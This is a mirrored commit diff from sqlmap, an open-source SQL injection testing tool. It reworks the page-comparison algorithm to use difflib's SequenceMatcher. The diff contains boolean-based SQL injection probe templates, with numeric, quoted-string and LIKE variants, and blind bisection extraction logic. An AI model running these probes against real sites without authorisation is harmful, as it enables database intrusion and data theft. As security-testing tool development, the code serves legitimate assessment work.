mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 09:36:35 +03:00
Major enhancement to make the comparison algorithm work properly also
on url not stables automatically by using the difflib SequenceMatcher object: this changed a lot into the structure of the code, has to be extensively beta-tested! Please, do report bugs on sqlmap-users mailing list if you scout them. Cheers, Bernardo
This commit is contained in:
Bernardo Damele
parent
7e8ac16245
commit
8d06975142
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@ -71,11 +71,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
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payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
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trueResult = Request.queryPage(payload, place)
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if trueResult == kb.defaultResult:
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if trueResult == True:
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payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
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falseResult = Request.queryPage(payload, place)
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if falseResult != kb.defaultResult:
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if falseResult != True:
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infoMsg = "confirming custom injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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@ -83,7 +83,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
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payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
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falseResult = Request.queryPage(payload, place)
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if falseResult != kb.defaultResult:
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if falseResult != True:
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infoMsg = "%s parameter '%s' is " % (place, parameter)
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infoMsg += "custom injectable "
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logger.info(infoMsg)
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@ -97,11 +97,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
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payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
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trueResult = Request.queryPage(payload, place)
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if trueResult == kb.defaultResult:
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if trueResult == True:
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payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
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falseResult = Request.queryPage(payload, place)
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if falseResult != kb.defaultResult:
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if falseResult != True:
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infoMsg = "confirming unescaped numeric injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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@ -109,7 +109,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
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payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
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falseResult = Request.queryPage(payload, place)
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if falseResult != kb.defaultResult:
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if falseResult != True:
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infoMsg = "%s parameter '%s' is " % (place, parameter)
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infoMsg += "unescaped numeric injectable "
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infoMsg += "with %d parenthesis" % parenthesis
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@ -128,11 +128,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
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payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
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trueResult = Request.queryPage(payload, place)
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if trueResult == kb.defaultResult:
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if trueResult == True:
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payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
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falseResult = Request.queryPage(payload, place)
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if falseResult != kb.defaultResult:
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if falseResult != True:
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infoMsg = "confirming single quoted string injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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@ -140,7 +140,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
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payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
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falseResult = Request.queryPage(payload, place)
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if falseResult != kb.defaultResult:
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if falseResult != True:
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infoMsg = "%s parameter '%s' is " % (place, parameter)
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infoMsg += "single quoted string injectable "
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infoMsg += "with %d parenthesis" % parenthesis
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@ -159,11 +159,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
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payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
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trueResult = Request.queryPage(payload, place)
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if trueResult == kb.defaultResult:
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if trueResult == True:
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payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
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falseResult = Request.queryPage(payload, place)
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if falseResult != kb.defaultResult:
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if falseResult != True:
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infoMsg = "confirming LIKE single quoted string injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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@ -171,7 +171,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
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payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
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falseResult = Request.queryPage(payload, place)
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if falseResult != kb.defaultResult:
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if falseResult != True:
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infoMsg = "%s parameter '%s' is " % (place, parameter)
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infoMsg += "LIKE single quoted string injectable "
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infoMsg += "with %d parenthesis" % parenthesis
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@ -190,11 +190,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
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payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
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trueResult = Request.queryPage(payload, place)
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if trueResult == kb.defaultResult:
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if trueResult == True:
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payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
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falseResult = Request.queryPage(payload, place)
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if falseResult != kb.defaultResult:
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if falseResult != True:
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infoMsg = "confirming double quoted string injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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@ -202,7 +202,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
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payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
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falseResult = Request.queryPage(payload, place)
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if falseResult != kb.defaultResult:
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if falseResult != True:
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infoMsg = "%s parameter '%s' is " % (place, parameter)
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infoMsg += "double quoted string injectable "
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infoMsg += "with %d parenthesis" % parenthesis
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@ -221,11 +221,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
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payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
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trueResult = Request.queryPage(payload, place)
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if trueResult == kb.defaultResult:
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if trueResult == True:
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payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
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falseResult = Request.queryPage(payload, place)
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if falseResult != kb.defaultResult:
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if falseResult != True:
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infoMsg = "confirming LIKE double quoted string injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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@ -233,7 +233,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
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payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
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falseResult = Request.queryPage(payload, place)
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if falseResult != kb.defaultResult:
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if falseResult != True:
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infoMsg = "%s parameter '%s' is " % (place, parameter)
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infoMsg += "LIKE double quoted string injectable "
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infoMsg += "with %d parenthesis" % parenthesis
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@ -262,7 +262,7 @@ def checkDynParam(place, parameter, value):
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payload = agent.payload(place, parameter, value, str(randInt))
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dynResult1 = Request.queryPage(payload, place)
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if kb.defaultResult == dynResult1:
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if True == dynResult1:
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return False
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infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
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@ -274,8 +274,8 @@ def checkDynParam(place, parameter, value):
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payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
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dynResult3 = Request.queryPage(payload, place)
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condition = kb.defaultResult != dynResult2
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condition |= kb.defaultResult != dynResult3
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condition = True != dynResult2
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condition |= True != dynResult3
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return condition
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@ -306,52 +306,12 @@ def checkStability():
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condition &= secondPage == thirdPage
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if condition == False:
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# Prepare for the comparison algorithm based on page length value
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pageLengths = []
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requestsPages = ( firstPage, secondPage, thirdPage )
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for requestPages in requestsPages:
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pageLengths.append(len(str(requestPages)))
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if pageLengths:
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conf.pageLengths = ( min(pageLengths) - ( ( min(pageLengths) * 2 ) / 100 ),
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max(pageLengths) + ( ( max(pageLengths) * 2 ) / 100 ) )
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if conf.pageLengths[0] < conf.pageLengths[1]:
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warnMsg = "url is not stable, sqlmap inspected the page "
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warnMsg += "and identified that page length can be used "
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warnMsg += "in the comparison algorithm"
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logger.warn(warnMsg)
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kb.defaultResult = True
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return True
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# Prepare for the comparison algorithm based on page content's
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# stable lines subset
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counter = 0
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firstLines = firstPage.split("\n")
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secondLines = secondPage.split("\n")
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thirdLines = thirdPage.split("\n")
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for firstLine in firstLines:
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if counter > len(secondLines) or counter > len(thirdLines):
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break
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if firstLine in secondLines and firstLine in thirdLines:
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conf.equalLines.append(firstLine)
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counter += 1
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if conf.equalLines:
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warnMsg = "url is not stable, sqlmap inspected the page "
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warnMsg += "content and identified a stable lines subset "
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warnMsg += "to be used in the comparison algorithm"
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logger.warn(warnMsg)
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kb.defaultResult = True
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return True
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warnMsg = "url is not stable, sqlmap will base the page "
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warnMsg += "comparison on a sequence matcher, if no dynamic nor "
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warnMsg += "injectable parameters are detected, refer to user's "
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warnMsg += "manual paragraph 'Page comparison' and provide a "
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warnMsg += "string or regular expression to match on"
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logger.warn(warnMsg)
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if condition == True:
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logMsg = "url is stable"
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@ -428,7 +388,8 @@ def checkConnection():
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logger.info(infoMsg)
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try:
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kb.defaultResult = Request.queryPage()
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page, _ = Request.getPage()
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conf.seqMatcher.set_seq1(page)
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except sqlmapConnectionException, exceptionMsg:
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if conf.multipleTargets:
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exceptionMsg += ", skipping to next url"
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@ -175,18 +175,9 @@ def start():
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if not kb.injPlace or not kb.injParameter or not kb.injType:
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if not conf.string and not conf.regexp and not conf.eRegexp:
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if not checkStability():
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errMsg = "url is not stable, try with --string or "
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errMsg += "--regexp options, refer to the user's manual "
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errMsg += "paragraph 'Page comparison' for details"
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if conf.multipleTargets:
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errMsg += ", skipping to next url"
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logger.warn(errMsg)
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continue
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else:
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raise sqlmapConnectionException, errMsg
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# NOTE: this is not needed anymore, leaving only to display
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# a warning message to the user in case the page is not stable
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checkStability()
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for place in conf.parameters.keys():
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if not conf.paramDict.has_key(place):
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@ -25,6 +25,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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import cookielib
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import difflib
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import logging
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import os
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import re
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@ -570,10 +571,8 @@ def __setConfAttributes():
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logger.debug(debugMsg)
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conf.cj = None
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conf.pageLengths = []
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conf.dbmsHandler = None
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conf.dumpPath = None
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conf.equalLines = []
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conf.httpHeaders = []
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conf.hostname = None
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conf.loggedToOut = None
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@ -586,6 +585,8 @@ def __setConfAttributes():
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conf.port = None
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conf.retries = 0
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conf.scheme = None
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#conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t")
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conf.seqMatcher = difflib.SequenceMatcher(None)
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conf.sessionFP = None
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conf.start = True
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conf.threadException = False
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@ -601,7 +602,6 @@ def __setKnowledgeBaseAttributes():
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logger.debug(debugMsg)
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kb.absFilePaths = set()
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kb.defaultResult = None
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kb.docRoot = None
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kb.dbms = None
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kb.dbmsDetected = False
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@ -30,7 +30,7 @@ import re
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from lib.core.data import conf
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def comparison(page, headers=None, content=False):
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def comparison(page, headers=None, getSeqMatcher=False):
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regExpResults = None
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# String to be excluded before calculating page hash
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@ -67,38 +67,15 @@ def comparison(page, headers=None, content=False):
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else:
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return False
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# By default it returns the page content MD5 hash
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if not conf.equalLines and not conf.pageLengths:
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return md5.new(page).hexdigest()
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# By default it returns sequence matcher between the first untouched
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# HTTP response page content and this content
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conf.seqMatcher.set_seq2(page)
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# Comparison algorithm based on page length value
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elif conf.pageLengths:
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minValue = conf.pageLengths[0]
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maxValue = conf.pageLengths[1]
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if getSeqMatcher:
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return round(conf.seqMatcher.ratio(), 5)
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if len(page) >= minValue and len(page) <= maxValue:
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return True
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elif round(conf.seqMatcher.ratio(), 5) > 0.9:
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return True
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# Comparison algorithm based on page content's stable lines subset
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elif conf.equalLines:
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counter = 0
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trueLines = 0
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pageLines = page.split("\n")
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for commonLine in conf.equalLines:
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if counter >= len(pageLines):
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break
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if commonLine in pageLines:
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trueLines += 1
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counter += 1
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# TODO: just debug prints
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#print "trueLines:", trueLines, "len(conf.equalLines):", len(conf.equalLines)
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#print "result:", ( trueLines * 100 ) / len(conf.equalLines)
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if ( trueLines * 100 ) / len(conf.equalLines) >= 98:
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return True
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else:
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return False
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else:
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return False
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@ -227,7 +227,7 @@ class Connect:
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@staticmethod
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def queryPage(value=None, place=None, content=False):
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def queryPage(value=None, place=None, content=False, getSeqMatcher=False):
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"""
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This method calls a function to get the target url page content
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and returns its page MD5 hash or a boolean value in case of
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@ -270,7 +270,7 @@ class Connect:
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if content:
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return page, headers
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elif page and headers:
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return comparison(page, headers, content)
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elif page:
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return comparison(page, headers, getSeqMatcher)
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else:
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return False
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@ -97,13 +97,11 @@ def bisection(payload, expression, length=None):
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while (maxValue - minValue) != 1:
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queriesCount[0] += 1
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limit = ((maxValue + minValue) / 2)
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limit = ((maxValue + minValue) / 2)
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forgedPayload = payload % (expressionUnescaped, idx, limit)
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result = Request.queryPage(forgedPayload)
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result = Request.queryPage(forgedPayload)
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if result == kb.defaultResult:
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if result == True:
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minValue = limit
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else:
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maxValue = limit
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@ -76,7 +76,7 @@ def checkForParenthesis():
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payload = agent.payload(newValue=query)
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result = Request.queryPage(payload)
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if result == kb.defaultResult:
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if result == True:
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count = parenthesis
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logMsg = "the injectable parameter requires %d parenthesis" % count
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@ -133,7 +133,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
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payload = agent.payload(newValue=query)
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result = Request.queryPage(payload)
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if result != kb.defaultResult:
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if result != True:
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warnMsg = "unable to perform MySQL comment injection"
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logger.warn(warnMsg)
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@ -161,7 +161,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
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payload = agent.payload(newValue=query)
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result = Request.queryPage(payload)
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if result == kb.defaultResult:
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if result == True:
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if not prevVer:
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prevVer = version
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